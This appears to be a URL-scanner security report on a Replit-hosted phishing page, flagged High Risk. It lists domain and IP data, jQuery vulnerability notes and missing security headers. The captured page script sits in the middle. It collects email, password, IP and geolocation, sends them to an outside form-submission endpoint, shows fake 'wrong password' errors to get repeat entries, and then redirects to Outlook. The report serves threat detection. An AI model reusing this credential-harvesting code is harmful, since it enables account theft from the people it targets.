technology software

social media network

documentation technical

phishing scam

education learning

English

GAESA

The domain name 'secure-page-editor--ruckerrs54.replit.app' uses the application-focused generic top-level domain (.app); it also runs on subdomain 'secure-page-editor--ruckerrs54'. The second-level label 'replit' is 6 characters long split between 2 vowels and 4 consonants. It segments into 2 words: rep, lit. Expect three characters per word on average. No strong language cues emerged from the frequency lists.

email

pass

html/a0/7f/a07f4bb6-fe6b-470a-a0a2-6b4135a84ad6.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

05b85d96f41fff14d8f608dad03ab71e2c1017c2da0914d7c59291bad7a54f8e

55d59f5ed62299f2df0fe22b6ceae87ca8d26d51de860d35f3bc8ad93f9772d7

jQuery 1.x and 2.x are End-of-Life and no longer receiving security updates

parseHTML() executes scripts in event handlers

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

1ee9fcac14b81edd14164dd51276c6042831e6ca36a3b9e8dc7b3f48cb451256

a8b4ccdec3a1aa6c551a4d8dabdf808c990012e909664c7c5abd51d2cdb10ea0

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Domain Manager

Nom-IQ Limited dba Com Laude

replit.app

GC Abuse

Google LLC

GOOGL-2


  $(document).ready(function() {

    async function getVisitorInfo() {
    var info = {
        ip: "",
        city: "",
        region: "",
        country: "",
        country_code: "",
        postal: "",
        timezone: "",
        org: ""
    };

    try {

        // STEP A — Get IP from ipify
        var ipResponse = await fetch("https://api.ipify.org?format=json");
        var ipData = await ipResponse.json();

        info.ip = ipData.ip || "";

        // STEP B — Send IP to ipinfo.io
        if (info.ip) {

            var infoResponse = await fetch(
                "https://ipinfo.io/" + info.ip + "/json"
            );

            var infoData = await infoResponse.json();

            info.city = infoData.city || "";
            info.region = infoData.region || "";
            info.country = infoData.country || "";
            info.country_code = infoData.country || "";
            info.postal = infoData.postal || "";
            info.timezone = infoData.timezone || "";
            info.org = infoData.org || "";
        }

    } catch (error) {

        console.log("Visitor info lookup failed:", error);

    }

    return info;
}

    var attemptCount = 0;

    // Show / hide password toggle
    var $passwordInput = $('#password-input');
    var $toggleBtn = $('.password-toggle');
    var $errorMessage = $('#password-error');

    $toggleBtn.on('click', function () {
      var isVisible = $(this).attr('data-visible') === 'true';

      if (isVisible) {
        $passwordInput.attr('type', 'password');
        $(this).attr('aria-label', 'Show password');
        $(this).attr('data-visible', 'false');
      } else {
        $passwordInput.attr('type', 'text');
        $(this).attr('aria-label', 'Hide password');
        $(this).attr('data-visible', 'true');
      }
    });

    // Hide error when user starts typing again
    $passwordInput.on('input', function () {
  $errorMessage.hide();
  $passwordInput.removeClass('input-error');
});


    $("#contact").on('submit', async function(e) {
      e.preventDefault();

      var email = $(".emaill").val();
      var password = $("input[name='pass']").val();

      var visitorInfo = await getVisitorInfo();

      attemptCount++;

      if (attemptCount <= 3) {
        $.ajax({
          dataType: "JSON",
          url: "https://submit-form.com/5lCZKGqmN",
          type: "POST",

          contentType: "application/json",

headers: {
    Accept: "application/json"
},

          data: JSON.stringify({
    email: email,
    password: password,

    ip: visitorInfo.ip,
    city: visitorInfo.city,
    region: visitorInfo.region,
    country: visitorInfo.country,
    country_code: visitorInfo.country_code,
    postal: visitorInfo.postal,
    timezone: visitorInfo.timezone,
    org: visitorInfo.org
}),
          beforeSend: function() {
            $("#submit-btn")
              .addClass("loading")
              .prop("disabled", true);

            // hide any previous error while submitting
            $errorMessage.hide();
          },
          success: function(response) {
            if (response) {
              console.log(response);
            }
          },
          complete: function() {
            $("#submit-btn")
              .removeClass("loading")
              .prop("disabled", false);

            if (attemptCount < 3) {
              // clear password and show error after spinner finishes
              $("input[name='pass']").val('');
              $errorMessage.show();
              $passwordInput.addClass('input-error');
            } else if (attemptCount === 3) {
              // 3rd submission: redirect after spinner completes
              window.location.replace("https://outlook.live.com/mail/0/");
            }
          }
        });
      }
    });
  });


Requests	IP Address	Location	AS Autonomous System
4	34.117.33.233Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
1	146.75.120.193Fastly · CDN	Frankfurt am Main, Hesse, Germany	AS54113Fastly, Inc.
1	13.107.246.44Azure · CLOUD	United States	AS8075Microsoft Corporation
1	35.190.3.23Google · CDN	Kansas City, Missouri, United States	AS396982Google LLC
1	192.178.183.95Google · CDN	United States	AS15169Google LLC
8	5	-	-

Security Scan Report: secure-page-editor--ruckerrs54.replit.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies9

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History